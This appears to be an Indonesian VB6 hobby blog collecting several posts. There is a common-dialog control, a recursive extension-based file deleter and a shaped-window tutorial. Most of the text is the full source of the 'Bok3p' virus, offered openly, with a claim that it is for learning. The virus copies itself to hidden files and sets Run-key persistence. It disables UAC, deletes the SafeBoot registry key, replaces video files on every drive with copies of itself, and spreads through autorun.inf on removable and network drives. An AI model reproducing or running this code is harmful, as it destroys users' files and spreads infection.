EXTENSIONDIFFERENT = OFN_EXTENSIONDIFFERENT
FILEMUSTEXIST = OFN_FILEMUSTEXIST
HIDEREADONLY = OFN_HIDEREADONLY
LONGNAMES = OFN_LONGNAMES
NOCHANGEDIR = OFN_NOCHANGEDIR
NODEREFERENCELINKS = OFN_NODEREFERENCELINKS
NOLONGNAMES = OFN_NOLONGNAMES
NONETWORKBUTTON = OFN_NONETWORKBUTTON
NOREADONLYRETURN = OFN_NOREADONLYRETURN
NOTESTFILECREATE = OFN_NOTESTFILECREATE
NOVALIDATE = OFN_NOVALIDATE
OVERWRITEPROMPT = OFN_OVERWRITEPROMPT
PATHMUSTEXIST = OFN_PATHMUSTEXIST
ReadOnly = OFN_READONLY
SHAREAWARE = OFN_SHAREAWARE
SHAREFALLTHROUGH = OFN_SHAREFALLTHROUGH
SHARENOWARN = OFN_SHARENOWARN
SHAREWARN = OFN_SHAREWARN
ShowHelp = OFN_SHOWHELP
End Enum

Private CFm_CancelError As Boolean
Private CFm_DialogTitle As String
Private CFm_DefaultExt As String
Private CFm_FileName As String
Private CFm_FileTitle As String
Private CFm_Filter As String
Private CFm_Flags As DialogFlags
Private CFm_InitDir As String

Public Property Get CancelError() As Boolean

CancelError = CFm_CancelError

End Property

Public Property Let CancelError(PropVal As Boolean)

CFm_CancelError = PropVal

End Property

Public Property Get DialogTitle() As String

DialogTitle = CFm_DialogTitle

End Property

Public Property Let DialogTitle(PropVal As String)

CFm_DialogTitle = PropVal

End Property

Public Property Get DefaultExt() As String

DefaultExt = CFm_DefaultExt

End Property

Public Property Let DefaultExt(PropVal As String)

CFm_DefaultExt = PropVal

End Property

Public Property Get FileName() As String

FileName = CFm_FileName

End Property

Public Property Let FileName(PropVal As String)

CFm_FileName = PropVal

End Property

Public Property Get FileTitle() As String

FileTitle = CFm_FileTitle

End Property

Public Property Let FileTitle(PropVal As String)

CFm_FileTitle = PropVal

End Property

Public Property Get Filter() As String

Filter = CFm_Filter

End Property

Public Property Let Filter(PropVal As String)

CFm_Filter = PropVal

End Property

Public Property Get Flags() As DialogFlags

Flags = CFm_Flags

End Property

Public Property Let Flags(PropVal As DialogFlags)

CFm_Flags = PropVal

End Property

Public Property Get InitDir() As String

InitDir = CFm_InitDir

End Property

Public Property Let InitDir(PropVal As String)

CFm_InitDir = PropVal

End Property


Private Sub UserControl_Initialize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Private Sub UserControl_Resize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Public Sub ShowOpen()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetOpenFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub

Public Sub ShowSave()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetSaveFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub

sekian dulu source code rampok FD-nya.
ni tampilan untuk form1


yang ni gambar untuk form2

kalau mau projetnya email saya ya atau YM-an juga bisa.

Sak teruse....

Readmore...

Back...

Ini program bukan aku yang buat, akan tetapi dibuat oleh subhendra_barik@yahoo.co.in, akan tetapi akan aku bahas disini bahwa program ini digunakan untuk menghapus semua file sesuai dengan entensi yang telah di tentukan, sehingga kita tidak usah bingung untuk mencari fiel yang akan di hapus, misalkan kita akan menghapus file *.tmp. ni source code jangan di salah gunakan karena bisa menjadi bahaya.
Langsung aja ya proejct terdiri dari 1 form dan 1 module. silahkan lanjutkan membacanya

Ini source code untuk form1

'File Remover 1.0.0.1
'if u like this software, Mail me at : subhendra_barik@yahoo.co.in
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAborted As Boolean
hNameMaps As Long
sProgress As String
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const FO_DELETE = &H3
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function GetFileTime Lib "kernel32" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Private Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Dim st, ct, tt As Variant
Private Sub Check1_Click()
Check2.Value = 0
End Sub

Private Sub Check2_Click()
Check1.Value = 0
End Sub

Private Sub Cmd_Click(Index As Integer)
Select Case Index
Case 0
cmd.Item(Index).Enabled = False
Timer1.Enabled = True
st = Time
On Error GoTo Stop1
Drive1.Refresh
TxtDel.Text = ""
List2.Clear
File1.Refresh
File1.Pattern = "*." & CmbExten.Text
If Option1.Item(0).Value = True Then
Drive1.Drive = LblFol.Caption
Dir1.path = Trim(LblFol.Caption) & "\"
ElseIf Option1.Item(1).Value = True Then
Drive1.Drive = CmbDrive.Text
Dir1.path = CmbDrive.Text & "\"
End If
File1.path = Dir1.path
For i = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(i)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path
DeleteFile (File1.path & "\" & File1.List(i))
Next i
err:
If flag = 1 Then GoTo Stop1
Dir1.path = List1.Text
LblFile.Caption = File1.path & "\" & File1.List(i)
List2.Refresh
For i = 0 To Dir1.ListCount - 1
List1.AddItem Dir1.List(i)
File1.path = Dir1.List(i)
For j = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(j)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path & "\" & File1.List(j) & vbNewLine
DeleteFile (File1.path & "\" & File1.List(j))
Next j
DoEvents
LblTime = Format(Time - st, "HH:MM:SS")
Next i
List1.ListIndex = List1.ListIndex + 1
GoTo err
Case 1
MsgBox "Thank You For Using This Software." & vbNewLine & "If you have any Suggestion , Please mail me at:" & vbNewLine & "subhendra_barik@yahoo.co.in"
End
End Select
Stop1:
TotFil.Caption = List2.ListCount
Timer1.Enabled = False
Image1.Width = 100
MsgBox "Total " & List2.ListCount & " Files Deleted", vbOKOnly, "File Remover Ver-1.0.0.1"
LblTime = Format(Time - st, "HH:MM:SS")
End Sub

Private Sub CmdBrow_Click()
Dim bi As BROWSEINFO
Dim pidl As Long
Dim path As String
Dim POS As Integer
bi.hOwner = Me.hwnd
bi.pidlRoot = 0&
bi.lpszTitle = "Select original database directory."
bi.ulFlags = BIF_RETURNONLYFSDIRS
pidl = SHBrowseForFolder(bi)
path = Space$(MAX_PATH)
If SHGetPathFromIDList(ByVal pidl, ByVal path) Then
POS = InStr(path, Chr$(0))
If Len(Left(path, POS - 1)) = 3 Then
LblFol.Caption = Mid(Left(path, POS - 1), 1, 2)
Else
LblFol.Caption = Left(path, POS - 1)
End If
End If
End Sub

Private Sub Dir1_Change()
File1.path = Dir1.path
Dir1.Refresh
File1.Refresh
End Sub
Private Sub Form_Load()
Image1.Width = 100
CmbExten.Clear
Dim ext As String
Open App.path & "\ext.txt" For Input As #1
Do While Not EOF(1)
ext = ""
n = ""
Line Input #1, temp
length = Len(CStr(temp))
For i = 1 To length
n = Mid(temp, i, 1)
If n = "=" Then
For j = 1 To i - 2
ext = ext + Mid(temp, j + 1, 1)
Next j
End If
Next i
CmbExten.AddItem StrConv(ext, vbUpperCase)
Loop
Close #1
End Sub
Private Sub LblFol_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblFol.ToolTipText = LblFol.Caption
End Sub

Private Sub Option1_Click(Index As Integer)
Select Case Index
Case 0
CmbDrive.Enabled = False
CmdBrow.Enabled = True
Case 1
LblFol.Caption = ""
CmdBrow.Enabled = False
CmbDrive.Enabled = True
End Select
End Sub
Private Sub Timer1_Timer()
Image1.Width = Image1.Width + 20
If Image1.Width = 6820 Then Image1.Width = 100
End Sub

dan ini source code untuk modulenya

Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_RETURNONLYFSDIRS = &H1
Public Const BIF_DONTGOBELOWDOMAIN = &H2
Public Const BIF_STATUSTEXT = &H4
Public Const BIF_RETURNFSANCESTORS = &H8
Public Const BIF_BROWSEFORCOMPUTER = &H1000
Public Const BIF_BROWSEFORPRINTER = &H2000
Public Const MAX_PATH = 260
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long
Public Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal pv As Long)

biar ga bingung ni aku kasih tampilannya

Sak teruse....

Readmore...

Back...

Alhamdulillah ni udah ramadhan ke-4, pada hari ke-4 ni aku akan memberikan source code dimana form akan mengikuti gambar yang telah kita tentukan, sehingga kita dapat membuat suatu form yang bagus tidak selalu berbentuk kotak akan tetapi bisa sesuai dengan gambar.
Sebagai persiapan anda buat gambar yang bagus ya kemudian disimpan dengan format BMP, mengapa? karena kalau format yang lain akan jelek hasilnya....
kalau udah jangan sediakan rokok, minum karena ni masih ramadhan, kalau buatnya malam ya siapkan aja hehhehhheee
udah persiapannya, buat project baru dengan 1 form, tambahkan picture
kemudian ketikkan kode berikut:

Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Const RGN_OR = 2
Dim TeksBerjalan As String

Private Function MakeRegion(picSkin As PictureBox) As Long
Dim X As Long, Y As Long, StartLineX As Long
Dim FullRegion As Long, LineRegion As Long
Dim TransparentColor As Long
Dim InFirstRegion As Boolean
Dim InLine As Boolean
Dim hdc As Long
Dim PicWidth As Long
Dim PicHeight As Long

hdc = picSkin.hdc
PicWidth = picSkin.ScaleWidth
PicHeight = picSkin.ScaleHeight

InFirstRegion = True: InLine = False
X = Y = StartLineX = 0
TransparentColor = GetPixel(hdc, 0, 0)

For Y = 0 To PicHeight - 1
For X = 0 To PicWidth - 1

If GetPixel(hdc, X, Y) = TransparentColor Or X = PicWidth Then
If InLine Then
InLine = False
LineRegion = CreateRectRgn(StartLineX, Y, X, Y + 1)

If InFirstRegion Then
FullRegion = LineRegion
InFirstRegion = False
Else
CombineRgn FullRegion, FullRegion, LineRegion, RGN_OR
DeleteObject LineRegion
End If
End If
Else
If Not InLine Then
InLine = True
StartLineX = X
End If
End If
Next
Next

MakeRegion = FullRegion
End Function



Private Sub Form_Load()
PictureAnimation(0).ScaleMode = vbPixels
PictureAnimation(0).AutoRedraw = True
PictureAnimation(0).AutoSize = True
PictureAnimation(0).BorderStyle = vbBSNone
Me.BorderStyle = vbBSNone
Me.Width = PictureAnimation(0).Width
Me.Height = PictureAnimation(0).Height
Me.Picture = PictureAnimation(0).Picture
WindowRegion = MakeRegion(PictureAnimation(0))
SetWindowRgn Me.hwnd, WindowRegion, True
Me.Refresh

End Sub

udah selesai langsung jalankan.

Sak teruse....

Readmore...

Back...

Ni source code dulu emang udah pernah aku buat, tapi pakainya regestry, tapi karena ada permintaan untuk membuat lagi akhirnya aku buat juga. tapi mungkin aja masih ada sedikit kesalahan, maklum instan. hehhe
langsung aja ni source code aku buat dengan metode pembacaan pada file ini yang aku simpan pakai dll sehingga akan mengelabui user bahwa tu file adalah ini.

anda bisa lihat pada gambar.
mau lanjut silahkan baca seterusnya

hehe.... udah di klik ya.
langsung aja aku kasih linknya silahkan aja donlot
dan pelajri semoga dapat membantu

silahkan klik di sini


jangan lupa tinggalkan komentar......

Sak teruse....

Readmore...

Back...

Pada malam tanggal 20 September saya menemukan source code untuk mengetahui serial number dan jenis CPU dan Mobo pada komputer anda. Dan pasti anda bertanya digunakan untuk apa mas? ya untuk melihat jenis dan chipset cpu dan mobo anda, juga dapat digunakan untuk membuat aplikasi anda hanya dapat dijalankan ada mobo itu kalau pernah di instal disitu. kemudian anda dapat membuat serial numbernya, sehingga program anda tidak bisa pindah kompi. ya kayak wind**s asli gitu loh....
Langsung aja ya silahkan anda donlot aplikasinya dibawah

hehe anda udah klik sak teruse ya....
silahkan anda donlot disini

Tu file aku password, silahkan tinggalkan pesan aja, dengan email. nanti aku emailkan tu password.

Sak teruse....

Readmore...

Back...

Pada ramadhan ke 21ni aku akan membahas source code virus bokep, hehehe ramadhan kog mbahas bokep ya untuk mencegah agar bulan ramadhan ini orang tidak menonton film bokep. tapi ni juga merugikan karena tidak semua film yang berektensi 3gp, flv, avi merupakan filem bokep melainkan juga ada film tentang tutorial. Ini terbukti telah dialami teman aku yang tadi malam mengeluh telah kena virus dengan icon K-Lite (atau media player clasic). emang sih virus tersebut ga merubah apapun di windows seperti task manager, folder option, run, atau fungsi-fungsi lainnya. sehingga orang akan tidak tahu kalau komputernya kena virus. Virus ini memang sadis langsung menghapus file yang berektensi 3gp, flv, mp4, avi dll.
Sehingga pada kesempatan ini saya akan membahas source codenya, source code ini aku juga menemukannya di internet jadi bukan milik saya dibuat oleh Lazy_Boyz @ Paray_Vx (Indonesian VX Zone) , source code ini sebegai pembelajaran agar kita dapat mengatasi ni virus.
Silahkan ikuti seterusnya.....

Oke sekarang anda tentukan proejct anda dengan 1 form dan 2 module
ni source code untuk form

Private Sub Form_Load()
On Error Resume Next
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

If App.PrevInstance Then End
Me.Hide
Me.Visible = False
App.TaskVisible = False

'Jika virus yg jalan tidak sama dengan nama file induk yg bernama BOK3P dan MPLAYERC
'maka keluarkan\akhiri proses virus tersebut dan jalankan Windows Media Player
If UCase(App.EXEName) <> "BOK3P" And UCase(App.EXEName) <> "MPLAYERC" Then
Shell "cmd.exe /c start wmplayer.exe", vbHide
Call Crack_Registry
Unload Me
End If

'Menggandakan diri ke direktori temp untuk dijadikan file induk VIRUS
Menggandakan_Diri TempFolder & "\Bok3p.exe"
Menggandakan_Diri TempFolder & "\mplayerc.exe"

'Kemudian mensetting atrribut file induk virus menjadi super hidden
SetAttr TempFolder & "\Bok3p.exe", vbSystem + vbReadOnly + vbHidden
SetAttr TempFolder & "\mplayerc.exe", vbSystem + vbReadOnly + vbHidden

'dan terakhir menjalankan file induk tersebut
Shell TempFolder & "\Bok3p.exe", vbHide
Shell TempFolder & "\mplayerc.exe", vbHide

End Sub

Private Sub TmrInfeksi_Timer()
On Error Resume Next
'Memanggil prosedur Crack_Registry, dan Serang_Media_Penyimpanan
Call Crack_Registry
Call Serang_Media_Penyimpanan
End Sub

Private Sub TmrPayload_Timer()
On Error Resume Next
'Jika jam sekarang menunjukan jam 6 sore, menit ke 6 dan detik ke 6 (18:06:06)-666
'maka tampilkan box pesan yg isinya apakah anda setuju perang melawan Pornografi
'jika korban memilih yes box pesan akan hilang, tapi jika memilih tidak maka restart komputer
If Hour(Now) = 18 And Minute(Now) = 6 And Second(Now) = 6 Then

If MsgBox("Say War to Pornografi & Pornoaksi", vbYesNo + vbExclamation, "Apakah anda setuju :") = vbNo Then
Shell "shutdown -r -f -t 00", vbHide
End If

End If

End Sub

dan ini untuk source code module 1

Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Menggandakan_Diri adalah sebagai pengganti FileCopy/CopyFile yg berfungsi
'sama seperti fungsi FileCopy.. yakni dengan cara membaca kode tubuh dan
'menyalinya ke lokasi yg akan ditentukan ditambah nomor acak dibagian akhir file
'sehingga nilai hashingnya berbeda-beda (Polymorphic)

Public Function Menggandakan_Diri(Lokasinya As String)
On Error Resume Next
Dim BodyVirus As String
Dim Jam As String

'Baca dan dapatkan ukuran asli virus
Open App.path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
BodyVirus = Space(LOF(1) - Int(10))
Get #1, , BodyVirus
Close #1

Jam = Time
Open Lokasinya For Binary Access Write As #2
Put #2, , BodyVirus
Put #2, , Jam '<~~ Polymorphic Methode, menambahkan string waktu saat ini diakhir file Close #2 End Function Public Function Cari_File(path) On Error Resume Next Dim Bok3p As Variant Set fso = CreateObject("scripting.filesystemobject") Set Bok3p = fso.getfolder(path) Set Rapid = Bok3p.Files For Each File In Rapid DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .3GP If UCase(fso.GetExtensionName(File.path)) = "3GP" Then 'Set attribut 3gp jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli 3gp DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "AVI" Then 'Set attribut AVI jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli AVI DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MP4 If UCase(fso.GetExtensionName(File.path)) = "MP4" Then 'Set attribut MP4 jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MP4 DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "WMV" Then 'Set attribut WMV jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli WMV DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPEG If UCase(fso.GetExtensionName(File.path)) = "MPEG" Then 'Set attribut MPEG jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPEG DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPG If UCase(fso.GetExtensionName(File.path)) = "MPG" Then 'Set attribut MPG jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPG DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MPE If UCase(fso.GetExtensionName(File.path)) = "MPE" Then 'Set attribut MPE jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MPE DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .AVI If UCase(fso.GetExtensionName(File.path)) = "RM" Then 'Set attribut 3gp jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 2) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli 3gp DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .MOV If UCase(fso.GetExtensionName(File.path)) = "MOV" Then 'Set attribut MOV jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli MOV DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .REAL If UCase(fso.GetExtensionName(File.path)) = "REAL" Then 'Set attribut REAL jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli REAL DeleteFile File.path End If DoEvents '=================================================================================================== 'Mencari file porno yg berextensi .ASF If UCase(fso.GetExtensionName(File.path)) = "ASF" Then 'Set attribut ASF jd normal SetAttr File.path, vbNormal 'Gandakan dengan nama yg sama Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe") 'set attribut hasil penggandaan menjadi normal+readonly SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly 'terakhir hapus file asli ASF DeleteFile File.path End If DoEvents '=================================================================================================== Next 'Mencari lagi kedalam folder sub folder Set Subfolders = Bok3p.Subfolders For Each Subfolder In Subfolders Cari_File Subfolder.path Next DoEvents End Function Public Sub Serang_Media_Penyimpanan() On Error Resume Next Dim Lazy As Variant Set fso = CreateObject("scripting.filesystemobject") For Each Lazy In fso.drives '================================================================================================== 'Mencari file berbau Pornogarphi di semua hardisk If (Lazy.drivetype = 2) Then Cari_File (Lazy.path) End If '=================================================================================================== 'Apakah type drive yg ditemukan adalah Removeable atw Map.Network Drive 'jika iya (Kecuali disket) cari file pornographi, buat penggandaan dan 'Buat Autorun kedalam drive tersbut agar dapt running otomatiz If (Lazy.drivetype = 1) Or (Lazy.drivetype = 3) And Lazy.path <> "A:" Then

'Mencari file berbau pornographi di Removable Drive dan Map.Network Drive
Cari_File (Lazy.path)

'Cek apakah terdapat file junk virus bernama (ãBg.exe) di Removable Drive
'dan Map.Network Drive jika tidak buat salinan (ãBg.exe) ke Removable_Disk
'dan setting attributnya menjadi super hidden (System+ReadOnly+Hidden)
If Len(Dir$(Lazy.path & "\ãBg.exe")) = 0 Then
Menggandakan_Diri Lazy.path & "\ãBg.exe"
SetAttr Lazy.path & "\ãBg.exe", vbSystem + vbReadOnly + vbHidden
End If

'Buat autorun.inf di Removable Drive dan Map.Network Drive korban
SetAttr Lazy.path & "\Autorun.inf", vbNormal
Open Lazy.path & "\Autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "shell\open=MediaPlayer"
Print #1, "shell\open\Command=ãBg.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explore"
Print #1, "shell\explore\Command=ãBg.exe"
Close 1
SetAttr Lazy.path & "\Autorun.inf", vbSystem + vbReadOnly + vbHidden
End If
'====================================================================================================
Next
End Sub

Ni source code untuk module2

Public Sub Crack_Registry()
On Error Resume Next
Dim Lazy_Boyz As Variant
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

Set Lazy_Boyz = CreateObject("Wscript.Shell")

'Mencoba mematiikan Fitur keamanan di Windows Vista
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"

'(Set agar virus aktif otomatis pada saat Windows startup)
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QuickLaunch", TempFolder & "\Bok3p.exe"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MediaPlayer", TempFolder & "\mplayerc.exe"

'Mensetting folder option agar stdk menampilkan file yg berattribut hidden & syatem (SuperHidden)
'juga mensetting folder option agar tidak menampilkan extension file
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue", "1", "REG_DWORD"

'Anti-Safe Mode Methode by Lazy_Boyz (100%) OK
Shell "REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f", vbHide

End Sub

Setelah itu anda berikan icon yang sering di pakai filem 3gp, flv, rm atau yang lainnya, ni contoh akan diberikan icon K-Lite Codec

Segala bentuk penggunaan source code ini bukan tanggungjawab pembuat dan dan penulis karena ni dibuat untuk pembelajaran. mungkin virus sekarang yang beredar sangat banyak dengan ektensi yang sama.
anda males untuk mengetik dan ga ngerti silahkan donlot projectnya di sini

source code aku berikan password bagi yang berminat silahkan berikan komentar Insya Allah aku berikan passwordnya.

Sak teruse....

Readmore...

Back...

